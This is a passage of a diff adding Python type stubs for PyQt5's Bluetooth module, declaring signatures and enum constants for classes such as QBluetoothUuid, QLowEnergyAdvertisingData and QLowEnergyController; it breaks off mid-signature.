# type: QBluetoothTransferReply.TransferError + FileNotFoundError = ... # type: QBluetoothTransferReply.TransferError + HostNotFoundError = ... # type: QBluetoothTransferReply.TransferError + UserCanceledTransferError = ... # type: QBluetoothTransferReply.TransferError + IODeviceNotReadableError = ... # type: QBluetoothTransferReply.TransferError + ResourceBusyError = ... # type: QBluetoothTransferReply.TransferError + SessionError = ... # type: QBluetoothTransferReply.TransferError + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setRequest(self, request: 'QBluetoothTransferRequest') -> None: ... + def setManager(self, manager: QBluetoothTransferManager) -> None: ... + def transferProgress(self, bytesTransferred: int, bytesTotal: int) -> None: ... + def finished(self, a0: 'QBluetoothTransferReply') -> None: ... + def abort(self) -> None: ... + def request(self) -> 'QBluetoothTransferRequest': ... + def errorString(self) -> str: ... + @typing.overload + def error(self) -> 'QBluetoothTransferReply.TransferError': ... + @typing.overload + def error(self, lastError: 'QBluetoothTransferReply.TransferError') -> None: ... + def manager(self) -> QBluetoothTransferManager: ... + def isRunning(self) -> bool: ... + def isFinished(self) -> bool: ... + + +class QBluetoothTransferRequest(PyQt5.sip.wrapper): + + class Attribute(int): + DescriptionAttribute = ... # type: QBluetoothTransferRequest.Attribute + TimeAttribute = ... # type: QBluetoothTransferRequest.Attribute + TypeAttribute = ... # type: QBluetoothTransferRequest.Attribute + LengthAttribute = ... # type: QBluetoothTransferRequest.Attribute + NameAttribute = ... # type: QBluetoothTransferRequest.Attribute + + @typing.overload + def __init__(self, address: QBluetoothAddress = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QBluetoothTransferRequest') -> None: ... + + def address(self) -> QBluetoothAddress: ... + def setAttribute(self, code: 'QBluetoothTransferRequest.Attribute', value: typing.Any) -> None: ... + def attribute(self, code: 'QBluetoothTransferRequest.Attribute', defaultValue: typing.Any = ...) -> typing.Any: ... + + +class QBluetoothUuid(QtCore.QUuid): + + class DescriptorType(int): + UnknownDescriptorType = ... # type: QBluetoothUuid.DescriptorType + CharacteristicExtendedProperties = ... # type: QBluetoothUuid.DescriptorType + CharacteristicUserDescription = ... # type: QBluetoothUuid.DescriptorType + ClientCharacteristicConfiguration = ... # type: QBluetoothUuid.DescriptorType + ServerCharacteristicConfiguration = ... # type: QBluetoothUuid.DescriptorType + CharacteristicPresentationFormat = ... # type: QBluetoothUuid.DescriptorType + CharacteristicAggregateFormat = ... # type: QBluetoothUuid.DescriptorType + ValidRange = ... # type: QBluetoothUuid.DescriptorType + ExternalReportReference = ... # type: QBluetoothUuid.DescriptorType + ReportReference = ... # type: QBluetoothUuid.DescriptorType + EnvironmentalSensingConfiguration = ... # type: QBluetoothUuid.DescriptorType + EnvironmentalSensingMeasurement = ... # type: QBluetoothUuid.DescriptorType + EnvironmentalSensingTriggerSetting = ... # type: QBluetoothUuid.DescriptorType + + class CharacteristicType(int): + DeviceName = ... # type: QBluetoothUuid.CharacteristicType + Appearance = ... # type: QBluetoothUuid.CharacteristicType + PeripheralPrivacyFlag = ... # type: QBluetoothUuid.CharacteristicType + ReconnectionAddress = ... # type: QBluetoothUuid.CharacteristicType + PeripheralPreferredConnectionParameters = ... # type: QBluetoothUuid.CharacteristicType + ServiceChanged = ... # type: QBluetoothUuid.CharacteristicType + AlertLevel = ... # type: QBluetoothUuid.CharacteristicType + TxPowerLevel = ... # type: QBluetoothUuid.CharacteristicType + DateTime = ... # type: QBluetoothUuid.CharacteristicType + DayOfWeek = ... # type: QBluetoothUuid.CharacteristicType + DayDateTime = ... # type: QBluetoothUuid.CharacteristicType + ExactTime256 = ... # type: QBluetoothUuid.CharacteristicType + DSTOffset = ... # type: QBluetoothUuid.CharacteristicType + TimeZone = ... # type: QBluetoothUuid.CharacteristicType + LocalTimeInformation = ... # type: QBluetoothUuid.CharacteristicType + TimeWithDST = ... # type: QBluetoothUuid.CharacteristicType + TimeAccuracy = ... # type: QBluetoothUuid.CharacteristicType + TimeSource = ... # type: QBluetoothUuid.CharacteristicType + ReferenceTimeInformation = ... # type: QBluetoothUuid.CharacteristicType + TimeUpdateControlPoint = ... # type: QBluetoothUuid.CharacteristicType + TimeUpdateState = ... # type: QBluetoothUuid.CharacteristicType + GlucoseMeasurement = ... # type: QBluetoothUuid.CharacteristicType + BatteryLevel = ... # type: QBluetoothUuid.CharacteristicType + TemperatureMeasurement = ... # type: QBluetoothUuid.CharacteristicType + TemperatureType = ... # type: QBluetoothUuid.CharacteristicType + IntermediateTemperature = ... # type: QBluetoothUuid.CharacteristicType + MeasurementInterval = ... # type: QBluetoothUuid.CharacteristicType + BootKeyboardInputReport = ... # type: QBluetoothUuid.CharacteristicType + SystemID = ... # type: QBluetoothUuid.CharacteristicType + ModelNumberString = ... # type: QBluetoothUuid.CharacteristicType + SerialNumberString = ... # type: QBluetoothUuid.CharacteristicType + FirmwareRevisionString = ... # type: QBluetoothUuid.CharacteristicType + HardwareRevisionString = ... # type: QBluetoothUuid.CharacteristicType + SoftwareRevisionString = ... # type: QBluetoothUuid.CharacteristicType + ManufacturerNameString = ... # type: QBluetoothUuid.CharacteristicType + IEEE1107320601RegulatoryCertificationDataList = ... # type: QBluetoothUuid.CharacteristicType + CurrentTime = ... # type: QBluetoothUuid.CharacteristicType + ScanRefresh = ... # type: QBluetoothUuid.CharacteristicType + BootKeyboardOutputReport = ... # type: QBluetoothUuid.CharacteristicType + BootMouseInputReport = ... # type: QBluetoothUuid.CharacteristicType + GlucoseMeasurementContext = ... # type: QBluetoothUuid.CharacteristicType + BloodPressureMeasurement = ... # type: QBluetoothUuid.CharacteristicType + IntermediateCuffPressure = ... # type: QBluetoothUuid.CharacteristicType + HeartRateMeasurement = ... # type: QBluetoothUuid.CharacteristicType + BodySensorLocation = ... # type: QBluetoothUuid.CharacteristicType + HeartRateControlPoint = ... # type: QBluetoothUuid.CharacteristicType + AlertStatus = ... # type: QBluetoothUuid.CharacteristicType + RingerControlPoint = ... # type: QBluetoothUuid.CharacteristicType + RingerSetting = ... # type: QBluetoothUuid.CharacteristicType + AlertCategoryIDBitMask = ... # type: QBluetoothUuid.CharacteristicType + AlertCategoryID = ... # type: QBluetoothUuid.CharacteristicType + AlertNotificationControlPoint = ... # type: QBluetoothUuid.CharacteristicType + UnreadAlertStatus = ... # type: QBluetoothUuid.CharacteristicType + NewAlert = ... # type: QBluetoothUuid.CharacteristicType + SupportedNewAlertCategory = ... # type: QBluetoothUuid.CharacteristicType + SupportedUnreadAlertCategory = ... # type: QBluetoothUuid.CharacteristicType + BloodPressureFeature = ... # type: QBluetoothUuid.CharacteristicType + HIDInformation = ... # type: QBluetoothUuid.CharacteristicType + ReportMap = ... # type: QBluetoothUuid.CharacteristicType + HIDControlPoint = ... # type: QBluetoothUuid.CharacteristicType + Report = ... # type: QBluetoothUuid.CharacteristicType + ProtocolMode = ... # type: QBluetoothUuid.CharacteristicType + ScanIntervalWindow = ... # type: QBluetoothUuid.CharacteristicType + PnPID = ... # type: QBluetoothUuid.CharacteristicType + GlucoseFeature = ... # type: QBluetoothUuid.CharacteristicType + RecordAccessControlPoint = ... # type: QBluetoothUuid.CharacteristicType + RSCMeasurement = ... # type: QBluetoothUuid.CharacteristicType + RSCFeature = ... # type: QBluetoothUuid.CharacteristicType + SCControlPoint = ... # type: QBluetoothUuid.CharacteristicType + CSCMeasurement = ... # type: QBluetoothUuid.CharacteristicType + CSCFeature = ... # type: QBluetoothUuid.CharacteristicType + SensorLocation = ... # type: QBluetoothUuid.CharacteristicType + CyclingPowerMeasurement = ... # type: QBluetoothUuid.CharacteristicType + CyclingPowerVector = ... # type: QBluetoothUuid.CharacteristicType + CyclingPowerFeature = ... # type: QBluetoothUuid.CharacteristicType + CyclingPowerControlPoint = ... # type: QBluetoothUuid.CharacteristicType + LocationAndSpeed = ... # type: QBluetoothUuid.CharacteristicType + Navigation = ... # type: QBluetoothUuid.CharacteristicType + PositionQuality = ... # type: QBluetoothUuid.CharacteristicType + LNFeature = ... # type: QBluetoothUuid.CharacteristicType + LNControlPoint = ... # type: QBluetoothUuid.CharacteristicType + MagneticDeclination = ... # type: QBluetoothUuid.CharacteristicType + Elevation = ... # type: QBluetoothUuid.CharacteristicType + Pressure = ... # type: QBluetoothUuid.CharacteristicType + Temperature = ... # type: QBluetoothUuid.CharacteristicType + Humidity = ... # type: QBluetoothUuid.CharacteristicType + TrueWindSpeed = ... # type: QBluetoothUuid.CharacteristicType + TrueWindDirection = ... # type: QBluetoothUuid.CharacteristicType + ApparentWindSpeed = ... # type: QBluetoothUuid.CharacteristicType + ApparentWindDirection = ... # type: QBluetoothUuid.CharacteristicType + GustFactor = ... # type: QBluetoothUuid.CharacteristicType + PollenConcentration = ... # type: QBluetoothUuid.CharacteristicType + UVIndex = ... # type: QBluetoothUuid.CharacteristicType + Irradiance = ... # type: QBluetoothUuid.CharacteristicType + Rainfall = ... # type: QBluetoothUuid.CharacteristicType + WindChill = ... # type: QBluetoothUuid.CharacteristicType + HeatIndex = ... # type: QBluetoothUuid.CharacteristicType + DewPoint = ... # type: QBluetoothUuid.CharacteristicType + DescriptorValueChanged = ... # type: QBluetoothUuid.CharacteristicType + AerobicHeartRateLowerLimit = ... # type: QBluetoothUuid.CharacteristicType + AerobicThreshold = ... # type: QBluetoothUuid.CharacteristicType + Age = ... # type: QBluetoothUuid.CharacteristicType + AnaerobicHeartRateLowerLimit = ... # type: QBluetoothUuid.CharacteristicType + AnaerobicHeartRateUpperLimit = ... # type: QBluetoothUuid.CharacteristicType + AnaerobicThreshold = ... # type: QBluetoothUuid.CharacteristicType + AerobicHeartRateUpperLimit = ... # type: QBluetoothUuid.CharacteristicType + DateOfBirth = ... # type: QBluetoothUuid.CharacteristicType + DateOfThresholdAssessment = ... # type: QBluetoothUuid.CharacteristicType + EmailAddress = ... # type: QBluetoothUuid.CharacteristicType + FatBurnHeartRateLowerLimit = ... # type: QBluetoothUuid.CharacteristicType + FatBurnHeartRateUpperLimit = ... # type: QBluetoothUuid.CharacteristicType + FirstName = ... # type: QBluetoothUuid.CharacteristicType + FiveZoneHeartRateLimits = ... # type: QBluetoothUuid.CharacteristicType + Gender = ... # type: QBluetoothUuid.CharacteristicType + HeartRateMax = ... # type: QBluetoothUuid.CharacteristicType + Height = ... # type: QBluetoothUuid.CharacteristicType + HipCircumference = ... # type: QBluetoothUuid.CharacteristicType + LastName = ... # type: QBluetoothUuid.CharacteristicType + MaximumRecommendedHeartRate = ... # type: QBluetoothUuid.CharacteristicType + RestingHeartRate = ... # type: QBluetoothUuid.CharacteristicType + SportTypeForAerobicAnaerobicThresholds = ... # type: QBluetoothUuid.CharacteristicType + ThreeZoneHeartRateLimits = ... # type: QBluetoothUuid.CharacteristicType + TwoZoneHeartRateLimits = ... # type: QBluetoothUuid.CharacteristicType + VO2Max = ... # type: QBluetoothUuid.CharacteristicType + WaistCircumference = ... # type: QBluetoothUuid.CharacteristicType + Weight = ... # type: QBluetoothUuid.CharacteristicType + DatabaseChangeIncrement = ... # type: QBluetoothUuid.CharacteristicType + UserIndex = ... # type: QBluetoothUuid.CharacteristicType + BodyCompositionFeature = ... # type: QBluetoothUuid.CharacteristicType + BodyCompositionMeasurement = ... # type: QBluetoothUuid.CharacteristicType + WeightMeasurement = ... # type: QBluetoothUuid.CharacteristicType + WeightScaleFeature = ... # type: QBluetoothUuid.CharacteristicType + UserControlPoint = ... # type: QBluetoothUuid.CharacteristicType + MagneticFluxDensity2D = ... # type: QBluetoothUuid.CharacteristicType + MagneticFluxDensity3D = ... # type: QBluetoothUuid.CharacteristicType + Language = ... # type: QBluetoothUuid.CharacteristicType + BarometricPressureTrend = ... # type: QBluetoothUuid.CharacteristicType + + class ServiceClassUuid(int): + ServiceDiscoveryServer = ... # type: QBluetoothUuid.ServiceClassUuid + BrowseGroupDescriptor = ... # type: QBluetoothUuid.ServiceClassUuid + PublicBrowseGroup = ... # type: QBluetoothUuid.ServiceClassUuid + SerialPort = ... # type: QBluetoothUuid.ServiceClassUuid + LANAccessUsingPPP = ... # type: QBluetoothUuid.ServiceClassUuid + DialupNetworking = ... # type: QBluetoothUuid.ServiceClassUuid + IrMCSync = ... # type: QBluetoothUuid.ServiceClassUuid + ObexObjectPush = ... # type: QBluetoothUuid.ServiceClassUuid + OBEXFileTransfer = ... # type: QBluetoothUuid.ServiceClassUuid + IrMCSyncCommand = ... # type: QBluetoothUuid.ServiceClassUuid + Headset = ... # type: QBluetoothUuid.ServiceClassUuid + AudioSource = ... # type: QBluetoothUuid.ServiceClassUuid + AudioSink = ... # type: QBluetoothUuid.ServiceClassUuid + AV_RemoteControlTarget = ... # type: QBluetoothUuid.ServiceClassUuid + AdvancedAudioDistribution = ... # type: QBluetoothUuid.ServiceClassUuid + AV_RemoteControl = ... # type: QBluetoothUuid.ServiceClassUuid + AV_RemoteControlController = ... # type: QBluetoothUuid.ServiceClassUuid + HeadsetAG = ... # type: QBluetoothUuid.ServiceClassUuid + PANU = ... # type: QBluetoothUuid.ServiceClassUuid + NAP = ... # type: QBluetoothUuid.ServiceClassUuid + GN = ... # type: QBluetoothUuid.ServiceClassUuid + DirectPrinting = ... # type: QBluetoothUuid.ServiceClassUuid + ReferencePrinting = ... # type: QBluetoothUuid.ServiceClassUuid + ImagingResponder = ... # type: QBluetoothUuid.ServiceClassUuid + ImagingAutomaticArchive = ... # type: QBluetoothUuid.ServiceClassUuid + ImagingReferenceObjects = ... # type: QBluetoothUuid.ServiceClassUuid + Handsfree = ... # type: QBluetoothUuid.ServiceClassUuid + HandsfreeAudioGateway = ... # type: QBluetoothUuid.ServiceClassUuid + DirectPrintingReferenceObjectsService = ... # type: QBluetoothUuid.ServiceClassUuid + ReflectedUI = ... # type: QBluetoothUuid.ServiceClassUuid + BasicPrinting = ... # type: QBluetoothUuid.ServiceClassUuid + PrintingStatus = ... # type: QBluetoothUuid.ServiceClassUuid + HumanInterfaceDeviceService = ... # type: QBluetoothUuid.ServiceClassUuid + HardcopyCableReplacement = ... # type: QBluetoothUuid.ServiceClassUuid + HCRPrint = ... # type: QBluetoothUuid.ServiceClassUuid + HCRScan = ... # type: QBluetoothUuid.ServiceClassUuid + SIMAccess = ... # type: QBluetoothUuid.ServiceClassUuid + PhonebookAccessPCE = ... # type: QBluetoothUuid.ServiceClassUuid + PhonebookAccessPSE = ... # type: QBluetoothUuid.ServiceClassUuid + PhonebookAccess = ... # type: QBluetoothUuid.ServiceClassUuid + HeadsetHS = ... # type: QBluetoothUuid.ServiceClassUuid + MessageAccessServer = ... # type: QBluetoothUuid.ServiceClassUuid + MessageNotificationServer = ... # type: QBluetoothUuid.ServiceClassUuid + MessageAccessProfile = ... # type: QBluetoothUuid.ServiceClassUuid + PnPInformation = ... # type: QBluetoothUuid.ServiceClassUuid + GenericNetworking = ... # type: QBluetoothUuid.ServiceClassUuid + GenericFileTransfer = ... # type: QBluetoothUuid.ServiceClassUuid + GenericAudio = ... # type: QBluetoothUuid.ServiceClassUuid + GenericTelephony = ... # type: QBluetoothUuid.ServiceClassUuid + VideoSource = ... # type: QBluetoothUuid.ServiceClassUuid + VideoSink = ... # type: QBluetoothUuid.ServiceClassUuid + VideoDistribution = ... # type: QBluetoothUuid.ServiceClassUuid + HDP = ... # type: QBluetoothUuid.ServiceClassUuid + HDPSource = ... # type: QBluetoothUuid.ServiceClassUuid + HDPSink = ... # type: QBluetoothUuid.ServiceClassUuid + BasicImage = ... # type: QBluetoothUuid.ServiceClassUuid + GNSS = ... # type: QBluetoothUuid.ServiceClassUuid + GNSSServer = ... # type: QBluetoothUuid.ServiceClassUuid + Display3D = ... # type: QBluetoothUuid.ServiceClassUuid + Glasses3D = ... # type: QBluetoothUuid.ServiceClassUuid + Synchronization3D = ... # type: QBluetoothUuid.ServiceClassUuid + MPSProfile = ... # type: QBluetoothUuid.ServiceClassUuid + MPSService = ... # type: QBluetoothUuid.ServiceClassUuid + GenericAccess = ... # type: QBluetoothUuid.ServiceClassUuid + GenericAttribute = ... # type: QBluetoothUuid.ServiceClassUuid + ImmediateAlert = ... # type: QBluetoothUuid.ServiceClassUuid + LinkLoss = ... # type: QBluetoothUuid.ServiceClassUuid + TxPower = ... # type: QBluetoothUuid.ServiceClassUuid + CurrentTimeService = ... # type: QBluetoothUuid.ServiceClassUuid + ReferenceTimeUpdateService = ... # type: QBluetoothUuid.ServiceClassUuid + NextDSTChangeService = ... # type: QBluetoothUuid.ServiceClassUuid + Glucose = ... # type: QBluetoothUuid.ServiceClassUuid + HealthThermometer = ... # type: QBluetoothUuid.ServiceClassUuid + DeviceInformation = ... # type: QBluetoothUuid.ServiceClassUuid + HeartRate = ... # type: QBluetoothUuid.ServiceClassUuid + PhoneAlertStatusService = ... # type: QBluetoothUuid.ServiceClassUuid + BatteryService = ... # type: QBluetoothUuid.ServiceClassUuid + BloodPressure = ... # type: QBluetoothUuid.ServiceClassUuid + AlertNotificationService = ... # type: QBluetoothUuid.ServiceClassUuid + HumanInterfaceDevice = ... # type: QBluetoothUuid.ServiceClassUuid + ScanParameters = ... # type: QBluetoothUuid.ServiceClassUuid + RunningSpeedAndCadence = ... # type: QBluetoothUuid.ServiceClassUuid + CyclingSpeedAndCadence = ... # type: QBluetoothUuid.ServiceClassUuid + CyclingPower = ... # type: QBluetoothUuid.ServiceClassUuid + LocationAndNavigation = ... # type: QBluetoothUuid.ServiceClassUuid + EnvironmentalSensing = ... # type: QBluetoothUuid.ServiceClassUuid + BodyComposition = ... # type: QBluetoothUuid.ServiceClassUuid + UserData = ... # type: QBluetoothUuid.ServiceClassUuid + WeightScale = ... # type: QBluetoothUuid.ServiceClassUuid + BondManagement = ... # type: QBluetoothUuid.ServiceClassUuid + ContinuousGlucoseMonitoring = ... # type: QBluetoothUuid.ServiceClassUuid + + class ProtocolUuid(int): + Sdp = ... # type: QBluetoothUuid.ProtocolUuid + Udp = ... # type: QBluetoothUuid.ProtocolUuid + Rfcomm = ... # type: QBluetoothUuid.ProtocolUuid + Tcp = ... # type: QBluetoothUuid.ProtocolUuid + TcsBin = ... # type: QBluetoothUuid.ProtocolUuid + TcsAt = ... # type: QBluetoothUuid.ProtocolUuid + Att = ... # type: QBluetoothUuid.ProtocolUuid + Obex = ... # type: QBluetoothUuid.ProtocolUuid + Ip = ... # type: QBluetoothUuid.ProtocolUuid + Ftp = ... # type: QBluetoothUuid.ProtocolUuid + Http = ... # type: QBluetoothUuid.ProtocolUuid + Wsp = ... # type: QBluetoothUuid.ProtocolUuid + Bnep = ... # type: QBluetoothUuid.ProtocolUuid + Upnp = ... # type: QBluetoothUuid.ProtocolUuid + Hidp = ... # type: QBluetoothUuid.ProtocolUuid + HardcopyControlChannel = ... # type: QBluetoothUuid.ProtocolUuid + HardcopyDataChannel = ... # type: QBluetoothUuid.ProtocolUuid + HardcopyNotification = ... # type: QBluetoothUuid.ProtocolUuid + Avctp = ... # type: QBluetoothUuid.ProtocolUuid + Avdtp = ... # type: QBluetoothUuid.ProtocolUuid + Cmtp = ... # type: QBluetoothUuid.ProtocolUuid + UdiCPlain = ... # type: QBluetoothUuid.ProtocolUuid + McapControlChannel = ... # type: QBluetoothUuid.ProtocolUuid + McapDataChannel = ... # type: QBluetoothUuid.ProtocolUuid + L2cap = ... # type: QBluetoothUuid.ProtocolUuid + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, uuid: int) -> None: ... + @typing.overload + def __init__(self, uuid: typing.Tuple[int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int]) -> None: ... + @typing.overload + def __init__(self, uuid: str) -> None: ... + @typing.overload + def __init__(self, uuid: 'QBluetoothUuid') -> None: ... + @typing.overload + def __init__(self, uuid: QtCore.QUuid) -> None: ... + + @staticmethod + def descriptorToString(uuid: 'QBluetoothUuid.DescriptorType') -> str: ... + @staticmethod + def characteristicToString(uuid: 'QBluetoothUuid.CharacteristicType') -> str: ... + @staticmethod + def protocolToString(uuid: 'QBluetoothUuid.ProtocolUuid') -> str: ... + @staticmethod + def serviceClassToString(uuid: 'QBluetoothUuid.ServiceClassUuid') -> str: ... + def toUInt128(self) -> typing.Tuple[int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int]: ... + def toUInt32(self) -> typing.Tuple[int, bool]: ... + def toUInt16(self) -> typing.Tuple[int, bool]: ... + def minimumSize(self) -> int: ... + + +class QLowEnergyAdvertisingData(PyQt5.sip.wrapper): + + class Discoverability(int): + DiscoverabilityNone = ... # type: QLowEnergyAdvertisingData.Discoverability + DiscoverabilityLimited = ... # type: QLowEnergyAdvertisingData.Discoverability + DiscoverabilityGeneral = ... # type: QLowEnergyAdvertisingData.Discoverability + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QLowEnergyAdvertisingData') -> None: ... + + def swap(self, other: 'QLowEnergyAdvertisingData') -> None: ... + def rawData(self) -> QtCore.QByteArray: ... + def setRawData(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def services(self) -> typing.List[QBluetoothUuid]: ... + def setServices(self, services: typing.Iterable[QBluetoothUuid]) -> None: ... + def discoverability(self) -> 'QLowEnergyAdvertisingData.Discoverability': ... + def setDiscoverability(self, mode: 'QLowEnergyAdvertisingData.Discoverability') -> None: ... + def includePowerLevel(self) -> bool: ... + def setIncludePowerLevel(self, doInclude: bool) -> None: ... + def manufacturerData(self) -> QtCore.QByteArray: ... + def manufacturerId(self) -> int: ... + def setManufacturerData(self, id: int, data: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + @staticmethod + def invalidManufacturerId() -> int: ... + def localName(self) -> str: ... + def setLocalName(self, name: str) -> None: ... + + +class QLowEnergyAdvertisingParameters(PyQt5.sip.wrapper): + + class FilterPolicy(int): + IgnoreWhiteList = ... # type: QLowEnergyAdvertisingParameters.FilterPolicy + UseWhiteListForScanning = ... # type: QLowEnergyAdvertisingParameters.FilterPolicy + UseWhiteListForConnecting = ... # type: QLowEnergyAdvertisingParameters.FilterPolicy + UseWhiteListForScanningAndConnecting = ... # type: QLowEnergyAdvertisingParameters.FilterPolicy + + class Mode(int): + AdvInd = ... # type: QLowEnergyAdvertisingParameters.Mode + AdvScanInd = ... # type: QLowEnergyAdvertisingParameters.Mode + AdvNonConnInd = ... # type: QLowEnergyAdvertisingParameters.Mode + + class AddressInfo(PyQt5.sip.wrapper): + + address = ... # type: QBluetoothAddress + type = ... # type: 'QLowEnergyController.RemoteAddressType' + + @typing.overload + def __init__(self, addr: QBluetoothAddress, t: 'QLowEnergyController.RemoteAddressType') -> None: ... + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QLowEnergyAdvertisingParameters.AddressInfo') -> None: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QLowEnergyAdvertisingParameters') -> None: ... + + def swap(self, other: 'QLowEnergyAdvertisingParameters') -> None: ... + def maximumInterval(self) -> int: ... + def minimumInterval(self) -> int: ... + def setInterval(self, minimum: int, maximum: int) -> None: ... + def filterPolicy(self) -> 'QLowEnergyAdvertisingParameters.FilterPolicy': ... + def whiteList(self) -> typing.List['QLowEnergyAdvertisingParameters.AddressInfo']: ... + def setWhiteList(self, whiteList: typing.Iterable['QLowEnergyAdvertisingParameters.AddressInfo'], policy: 'QLowEnergyAdvertisingParameters.FilterPolicy') -> None: ... + def mode(self) -> 'QLowEnergyAdvertisingParameters.Mode': ... + def setMode(self, mode: 'QLowEnergyAdvertisingParameters.Mode') -> None: ... + + +class QLowEnergyCharacteristic(PyQt5.sip.wrapper): + + class PropertyType(int): + Unknown = ... # type: QLowEnergyCharacteristic.PropertyType + Broadcasting = ... # type: QLowEnergyCharacteristic.PropertyType + Read = ... # type: QLowEnergyCharacteristic.PropertyType + WriteNoResponse = ... # type: QLowEnergyCharacteristic.PropertyType + Write = ... # type: QLowEnergyCharacteristic.PropertyType + Notify = ... # type: QLowEnergyCharacteristic.PropertyType + Indicate = ... # type: QLowEnergyCharacteristic.PropertyType + WriteSigned = ... # type: QLowEnergyCharacteristic.PropertyType + ExtendedProperty = ... # type: QLowEnergyCharacteristic.PropertyType + + class PropertyTypes(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QLowEnergyCharacteristic.PropertyTypes', 'QLowEnergyCharacteristic.PropertyType']) -> None: ... + @typing.overload + def __init__(self, a0: 'QLowEnergyCharacteristic.PropertyTypes') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QLowEnergyCharacteristic.PropertyTypes': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QLowEnergyCharacteristic') -> None: ... + + def isValid(self) -> bool: ... + def descriptors(self) -> typing.List['QLowEnergyDescriptor']: ... + def descriptor(self, uuid: QBluetoothUuid) -> 'QLowEnergyDescriptor': ... + def handle(self) -> int: ... + def properties(self) -> 'QLowEnergyCharacteristic.PropertyTypes': ... + def value(self) -> QtCore.QByteArray: ... + def uuid(self) -> QBluetoothUuid: ... + def name(self) -> str: ... + + +class QLowEnergyCharacteristicData(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QLowEnergyCharacteristicData') -> None: ... + + def swap(self, other: 'QLowEnergyCharacteristicData') -> None: ... + def isValid(self) -> bool: ... + def maximumValueLength(self) -> int: ... + def minimumValueLength(self) -> int: ... + def setValueLength(self, minimum: int, maximum: int) -> None: ... + def writeConstraints(self) -> QBluetooth.AttAccessConstraints: ... + def setWriteConstraints(self, constraints: typing.Union[QBluetooth.AttAccessConstraints, QBluetooth.AttAccessConstraint]) -> None: ... + def readConstraints(self) -> QBluetooth.AttAccessConstraints: ... + def setReadConstraints(self, constraints: typing.Union[QBluetooth.AttAccessConstraints, QBluetooth.AttAccessConstraint]) -> None: ... + def addDescriptor(self, descriptor: 'QLowEnergyDescriptorData') -> None: ... + def setDescriptors(self, descriptors: typing.Iterable['QLowEnergyDescriptorData']) -> None: ... + def descriptors(self) -> typing.List['QLowEnergyDescriptorData']: ... + def setProperties(self, properties: typing.Union[QLowEnergyCharacteristic.PropertyTypes, QLowEnergyCharacteristic.PropertyType]) -> None: ... + def properties(self) -> QLowEnergyCharacteristic.PropertyTypes: ... + def setValue(self, value: typing.Union[QtCore.QByteArray, bytes, bytearray]) -> None: ... + def value(self) -> QtCore.QByteArray: ... + def setUuid(self, uuid: QBluetoothUuid) -> None: ... + def uuid(self) -> QBluetoothUuid: ... + + +class QLowEnergyConnectionParameters(PyQt5.sip.wrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QLowEnergyConnectionParameters') -> None: ... + + def swap(self, other: 'QLowEnergyConnectionParameters') -> None: ... + def supervisionTimeout(self) -> int: ... + def setSupervisionTimeout(self, timeout: int) -> None: ... + def latency(self) -> int: ... + def setLatency(self, latency: int) -> None: ... + def maximumInterval(self) -> float: ... + def minimumInterval(self) -> float: ... + def setIntervalRange(self, minimum: float, maximum: float) -> None: ... + + +class QLowEnergyController(QtCore.QObject): + + class Role(int): + CentralRole = ... # type: QLowEnergyController.Role + PeripheralRole = ... # type: QLowEnergyController.Role + + class RemoteAddressType(int): + PublicAddress = ... # type: QLowEnergyController.RemoteAddressType + RandomAddress = ... # type: QLowEnergyController.RemoteAddressType + + class ControllerState(int): + UnconnectedState = ... # type: QLowEnergyController.ControllerState + ConnectingState = ... # type: QLowEnergyController.ControllerState + ConnectedState = ... # type: QLowEnergyController.ControllerState + DiscoveringState = ... # type: QLowEnergyController.ControllerState + DiscoveredState = ... # type: QLowEnergyController.ControllerState + ClosingState = ... # type: QLowEnergyController.ControllerState + AdvertisingState = ... # type: QLowEnergyController.ControllerState + + class Error(int): + NoError = ... # type: QLowEnergyController.Error + UnknownError = ... # type: QLowEnergyController.Error + UnknownRemoteDeviceError = ... # type: QLowEnergyController.Error + NetworkError = ... # type: QLowEnergyController.Error + InvalidBluetoothAdapterError = ... # type: QLowEnergyController.Error + ConnectionError = ... # type: QLowEnergyController.Error + AdvertisingError = ... # type: QLowEnergyController.Error + RemoteHostClosedError = ... # type: QLowEnergyController.Error + AuthorizationError = ... # type: QLowEnergyController.Error + + @typing.overload + def __init__(self, remoteDevice: QBluetoothDeviceInfo, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, remoteDevice: QBluetoothAddress, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, remoteDevice: QBluetoothAddress, localDevice: QBluetoothAddress, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def remoteDeviceUuid(self) -> QBluetoothUuid: ... + def connectionUpdated(self, parameters: QLowEnergyConnectionParameters) -> None: ... + def role(self) -> 'QLowEnergyController.Role': ... + def requestConnectionUpdate(self, parameters: QLowEnergyConnectionParameters) -> None: ... + def addService(self, service: 'QLowEnergyServiceData', parent: typing.Optional[QtCore.QObject] = ...) -> 'QLowEnergyService': ... + def stopAdvertising(self) -> None: ... + def startAdvertising(self, parameters: QLowEnergyAdvertisingParameters, advertisingData: QLowEnergyAdvertisingData, scanResponseData: QLowEnergyAdvertisingData = ...) -> None: ... + @staticmethod + def createPeripheral(parent: typing.Optional[QtCore.QObject] = ...) -> 'QLowEnergyController': ... + @typing.overload + @staticmethod + def createCentral(remoteDevice: QBluetoothDeviceInfo, parent: typing.Optional[QtCore.QObject] = ...) -> 'QLowEnergyController': ... + @typing.overload + @staticmethod + def createCentral(remoteDevice: QBluetoothAddress, localDevice: QBluetoothAddress, parent: typing.Optional[QtCore.QObject] = ...) -> 